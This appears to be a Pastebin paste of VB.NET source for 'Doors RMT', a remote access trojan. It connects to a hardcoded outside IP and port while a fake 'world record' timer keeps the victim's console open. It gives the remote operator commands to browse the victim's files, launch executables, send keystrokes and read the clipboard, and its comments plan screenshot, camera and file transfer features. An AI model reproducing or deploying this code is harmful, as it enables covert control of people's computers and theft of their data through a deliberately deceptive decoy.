Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 13.87 KB | None | 0 0
  1. Imports System.Net
  2. Imports System.Net.Sockets
  3.  
  4.  
  5. Module Module1
  6.     'DOWNLOAD NEEDS TO BE ADDED
  7.     'UPLOAD NEEDS TO BE ADDED
  8.     'SCREENSHOT NEEDS TO BE ADDED
  9.     'CAMERA NEEDS TO BE ADDED
  10.     Dim client As TcpClient
  11.     Dim TPCcleintStream As NetworkStream
  12.     Dim Timer1 As New System.Timers.Timer
  13.     Dim timer2 As New System.Timers.Timer
  14.     Dim recived As String
  15.     Dim serverIP As String
  16.     Dim input(0 To 3) As String
  17.     Dim computername As String
  18.     Dim FGC = Console.ForegroundColor
  19.     Dim BGC = Console.BackgroundColor
  20.     Dim Ver = "0.1.1 Alpha"
  21.     Dim modfier As String
  22.     Dim Separator() As String = {" "}
  23.     Dim gameScore As Integer
  24.  
  25.     Sub Main()
  26.         serverIP = "73.182.11.184"
  27.         Timer1.AutoReset = True
  28.         Timer1.Interval = 200
  29.         timer2.AutoReset = True
  30.         timer2.Interval = 1000
  31.         AddHandler Timer1.Elapsed, AddressOf Timer1_Tick
  32.         AddHandler timer2.Elapsed, AddressOf Timer2_Tick
  33.         Console.WriteLine("Starting...")
  34.         client = New Sockets.TcpClient(serverIP, 2854)
  35.         TPCcleintStream = client.GetStream()
  36.         Console.WriteLine("Don't close this program, set a new record!")
  37.         gameScore = 1
  38.         timer2.Start()
  39.         computername = My.User.Name
  40.         startup()
  41.         watermark()
  42.         filesystem()
  43.         ' Sets colors back to default.
  44.         Console.ForegroundColor = FGC
  45.         Console.BackgroundColor = BGC
  46.         End
  47.     End Sub
  48.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
  49.         Dim maxScore As Integer
  50.         maxScore = 1262
  51.         gameScore = gameScore + 1
  52.         If gameScore < MaxScore Then
  53.             Console.Clear()
  54.             Console.WriteLine("The console has been open for: " & gameScore & (" seconds, that is ") & maxScore - gameScore & (" seconds away from the high score!"))
  55.         Else
  56.             Console.Clear()
  57.             Console.WriteLine("The console has been open for: " & gameScore & (" seconds, that is the current world record!"))
  58.         End If
  59.     End Sub
  60.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
  61.         If TPCcleintStream.DataAvailable = True Then
  62.             Dim rcbytes(client.ReceiveBufferSize) As Byte
  63.             client.Client.Receive(rcbytes)
  64.             recived = System.Text.Encoding.ASCII.GetString(rcbytes)
  65.             Console.WriteLine(recived)
  66.         End If
  67.         gameScore = gameScore + 1
  68.         Console.WriteLine("Score is currently:" & gameScore & ("That is") & 1000 - gameScore & ("away from the high score!"))
  69.     End Sub
  70.     Function send(ByRef reply As String)
  71.         Dim responce As Byte() = System.Text.Encoding.ASCII.GetBytes(reply & "[|<DOORS-RMT-SYS!>SEPERATOR<!DOORS-RMT-SYS>|]")
  72.         client.Client.Send(responce)
  73.     End Function
  74.     Function readinput()
  75.         Dim output As String
  76.         Do While True
  77.             If TPCcleintStream.DataAvailable = True Then
  78.                 Dim rcbytes(client.ReceiveBufferSize) As Byte
  79.                 client.Client.Receive(rcbytes)
  80.                 recived = System.Text.Encoding.ASCII.GetString(rcbytes)
  81.                 recived = Replace(recived, vbNullChar, "")
  82.                 recived = Replace(recived, "[|<DOORS-RMT-SYS!>SEPERATOR<!DOORS-RMTSYS>|]", "")
  83.                 Exit Do
  84.             End If
  85.  
  86.         Loop
  87.         Return (recived)
  88.     End Function
  89.     Function startup()
  90.         Dim lineslogged As Integer
  91.         Dim linenum As Integer
  92.         Dim linelog(0 To 9999) As String
  93.         Dim configRead As System.IO.StreamReader
  94.         Dim configWrite As System.IO.StreamReader
  95.         ' Checks startup Params
  96.         send("Checking Startup Params")
  97.         Dim commandLineParam() As String = Environment.GetCommandLineArgs
  98.         send("Params Checked")
  99.         send("Connected")
  100.         'Runs "startup.txt" script if it exists.
  101.         If System.IO.File.Exists(System.AppDomain.CurrentDomain.BaseDirectory() & "startup.txt") Then
  102.             readCode(System.AppDomain.CurrentDomain.BaseDirectory() & "startup.txt") ' Runs "startup.txt"
  103.         End If
  104.         Threading.Thread.Sleep(2000)
  105.     End Function
  106.     Function watermark()
  107.         Console.ForegroundColor = ConsoleColor.White
  108.         Console.BackgroundColor = ConsoleColor.DarkGray
  109.         send("Doors RMT (" + Ver + ")")
  110.         ' Sets colors back to default.
  111.         Console.ForegroundColor = FGC
  112.         Console.BackgroundColor = BGC
  113.  
  114.     End Function
  115.     Function Help()
  116.         send("
  117. A list of commands you may use are:
  118.  
  119. help - Lists all commands.
  120. shutdown - Shuts down DoorsRMT.
  121. list - Lists all files within your current directory.
  122. drive [drive letter] - Opens desired drive.
  123. cd [path] - opens the specified directory.
  124. cd .. - Goes up one directory.
  125. run [path] - Runs TYBEEDPL program at specified path.
  126. exe [path] - Runs an .EXE file
  127. dexe [path] - Allows you to manually type in the EXE as apposed to searching for it. (Prone to ERRORS)
  128. sendkey [keys] - Allows you to send keys to the conneceted computer.
  129. ")
  130.     End Function
  131.     Function filesystem()
  132.         My.Computer.FileSystem.CurrentDirectory = "C:\"
  133.         send("Welcome to Doors RMT, type ""Help"" to get a full list of commands.")
  134.         Do While True
  135.             If My.Computer.FileSystem.CurrentDirectory = Replace(My.Computer.FileSystem.CurrentDirectory, ":\", "") & ":\" Then
  136.                 System.Threading.Thread.Sleep(2000)
  137.                 send("[|<DOORS-RMT-SYS!>WRITE<!DOORS-RMT-SYS>|]" & My.Computer.FileSystem.CurrentDirectory + " >")
  138.             Else
  139.                 send("[|<DOORS-RMT-SYS!>WRITE<!DOORS-RMT-SYS>|]" & My.Computer.FileSystem.CurrentDirectory + "\ >")
  140.             End If
  141.             input(0) = readinput()
  142.             input = input(0).Split(Separator, StringSplitOptions.RemoveEmptyEntries)
  143.             input(0) = LCase(input(0))
  144.             If input.Count > 1 Then
  145.                 input(1) = LCase(input(1))
  146.                 If input.Count > 2 Then
  147.                     input(2) = LCase(input(2))
  148.                     If input.Count > 3 Then
  149.                         input(3) = LCase(input(3))
  150.                     End If
  151.                 End If
  152.             End If
  153.             If input(0) = "list" Then
  154.                 filesyslist()
  155.             ElseIf input(0) = "drive" And input.Count > 1 Then
  156.                 input(1) = Replace(input(1), "\", "")
  157.                 input(1) = Replace(input(1), ":", "")
  158.                 input(1) = UCase(input(1))
  159.                 input(1) = (input(1) & ":\")
  160.                 If My.Computer.FileSystem.DirectoryExists(input(0)) = True Then
  161.                     My.Computer.FileSystem.CurrentDirectory = input(1)
  162.                 Else
  163.                     My.Computer.FileSystem.CurrentDirectory = input(1)
  164.                 End If
  165.             ElseIf input(0) = "cd" And input.Count > 1 Then
  166.                 If input(1) = ".." Then
  167.                     My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.GetParentPath(My.Computer.FileSystem.CurrentDirectory)
  168.                 Else
  169.                     If My.Computer.FileSystem.DirectoryExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.DirectoryExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
  170.  
  171.                         If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
  172.                             My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.CurrentDirectory + input(1)
  173.                         Else
  174.                             My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.CurrentDirectory + "\" + input(1)
  175.                         End If
  176.                     Else
  177.                         send("Please type a directory that exists, all directory's can be found via ""List""")
  178.                     End If
  179.                 End If
  180.             ElseIf input(0) = "run" And input.Count > 1 Then
  181.                 If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
  182.  
  183.                     If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
  184.                         readCode(My.Computer.FileSystem.CurrentDirectory + input(1))
  185.                     Else
  186.                         readCode(My.Computer.FileSystem.CurrentDirectory + "\" + input(1))
  187.                     End If
  188.                 End If
  189.  
  190.                 send("Please type a directory that exists, all directory's can be found via ""List""")
  191.             ElseIf input(0) = "shutdown" Then
  192.                 Exit Do
  193.             ElseIf input(0) = "help" Then
  194.                 Help()
  195.             ElseIf input(0) = "exe" And input.Count > 1 Then
  196.                 If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
  197.  
  198.                     If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
  199.                         Process.Start(My.Computer.FileSystem.CurrentDirectory + input(1))
  200.                     Else
  201.                         Process.Start(My.Computer.FileSystem.CurrentDirectory + "\" + input(1))
  202.                     End If
  203.                 End If
  204.  
  205.                 send("Please type a directory that exists, all directory's can be found via ""List""")
  206.  
  207.             ElseIf input(0) = "dexe" And input.Count > 1 Then
  208.                 Try
  209.                     Process.Start(input(1))
  210.                 Catch e As Exception
  211.                 End Try
  212.             ElseIf input(0) = "sendkey" And input.Count > 1 Then
  213.                 My.Computer.Keyboard.SendKeys(input(1), True)
  214.             ElseIf input(0) = "clipboard" Then
  215.                 send(My.Computer.Clipboard.GetText)
  216.             Else
  217.  
  218.                 send("Inproper Syntax. For help please type ""Help"" or ""exit"" to exit the ""fileSystem"" program.")
  219.  
  220.             End If
  221.         Loop
  222.  
  223.     End Function
  224.     Function filesyslist()
  225.         Dim fileList As String
  226.         fileList = ("
  227. ---Folders---
  228. ")
  229.         For Each foundFolder As String In My.Computer.FileSystem.GetDirectories(My.Computer.FileSystem.CurrentDirectory)
  230.             If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
  231.                 foundFolder = Replace(foundFolder, My.Computer.FileSystem.CurrentDirectory, "")
  232.             Else
  233.                 foundFolder = Replace(foundFolder, My.Computer.FileSystem.CurrentDirectory + "\", "")
  234.  
  235.             End If
  236.             fileList = fileList & "
  237. " & foundFolder
  238.         Next
  239.         fileList = fileList & ("
  240. ---Files---
  241. ")
  242.  
  243.         For Each foundFile As String In My.Computer.FileSystem.GetFiles(My.Computer.FileSystem.CurrentDirectory)
  244.             If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
  245.                 foundFile = Replace(foundFile, My.Computer.FileSystem.CurrentDirectory, "")
  246.             Else
  247.                 foundFile = Replace(foundFile, My.Computer.FileSystem.CurrentDirectory + "\", "")
  248.  
  249.             End If
  250.             fileList = fileList & "
  251. " & foundFile
  252.         Next
  253.         send(fileList)
  254.     End Function
  255.     Function readCode(fileLocation As String)
  256.         Dim sep() As String = {"~"}
  257.         Dim lineNum As Integer
  258.         Dim program As System.IO.StreamReader
  259.         Dim line(0 To 3) As String
  260.         Dim curLine As Integer
  261.         Dim input As String
  262.         Dim inIf As Boolean
  263.         Dim ifOutcome As Boolean
  264.         Dim skip As Boolean
  265.         Dim X As Integer
  266.         Dim lineLog(0 To 9999) As String
  267.         Dim gotoScriptLine As Boolean
  268.         Dim gotolinenumber As Integer
  269.         Dim lineslogged As Integer
  270.         program = My.Computer.FileSystem.OpenTextFileReader(fileLocation)
  271.         lineNum = System.IO.File.ReadAllLines(fileLocation).Length
  272.         send("
  273. Running program in TybeeDPL
  274. ")
  275.         lineslogged = 0
  276.         Do While True
  277.             If lineslogged = lineNum Then
  278.                 program.Close()
  279.                 Exit Do
  280.             Else
  281.                 lineLog(lineslogged + 1) = program.ReadLine()
  282.                 lineslogged = lineslogged + 1
  283.             End If
  284.         Loop
  285.         Do While True
  286.             curLine = curLine + 1
  287.             line(0) = lineLog(curLine)
  288.             If curLine > lineNum Then
  289.                 send("
  290. Program is done running.
  291. ")
  292.                 Exit Do
  293.             Else
  294.                 line(0) = Replace(line(0), "[input]", input)
  295.                 line = line(0).Split(sep, StringSplitOptions.None)
  296.                 Array.Resize(line, 5)
  297.  
  298.                 If skip = True Then
  299.                     If ifOutcome = True And line(0) = "end " And line(1) = "if" Then
  300.                         skip = False
  301.                     ElseIf ifOutcome = False And line(0) = "else" Then
  302.                         skip = False
  303.                     Else
  304.  
  305.                     End If
  306.                 ElseIf line(0) = "print " And line.Count > 1 Then 'For printing to console
  307.                     send(line(1))
  308.                 ElseIf line(0) = "set " And line.Count > 1 And line(1) = "input" Then 'For getting input
  309.                     input = readinput()
  310.                 ElseIf line(0) = "if " And line.Count > 3 Then
  311.                     If line(2) = "= " And line(1) = line(3) Then
  312.                         inIf = True
  313.                         ifOutcome = True
  314.                     Else
  315.                         inIf = True
  316.                         ifOutcome = False
  317.                         skip = True
  318.                     End If
  319.                 ElseIf line(0) = "goto " Then
  320.                     If line(1) > lineNum Then
  321.                     Else
  322.                         curLine = line(1) - 1
  323.  
  324.                     End If
  325.                 ElseIf line(0) = "end" And line(1) = "" Then
  326.                     send("
  327. Program is done running.
  328. ")
  329.                     Exit Do
  330.                 End If
  331.             End If
  332.         Loop
  333.     End Function
  334. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement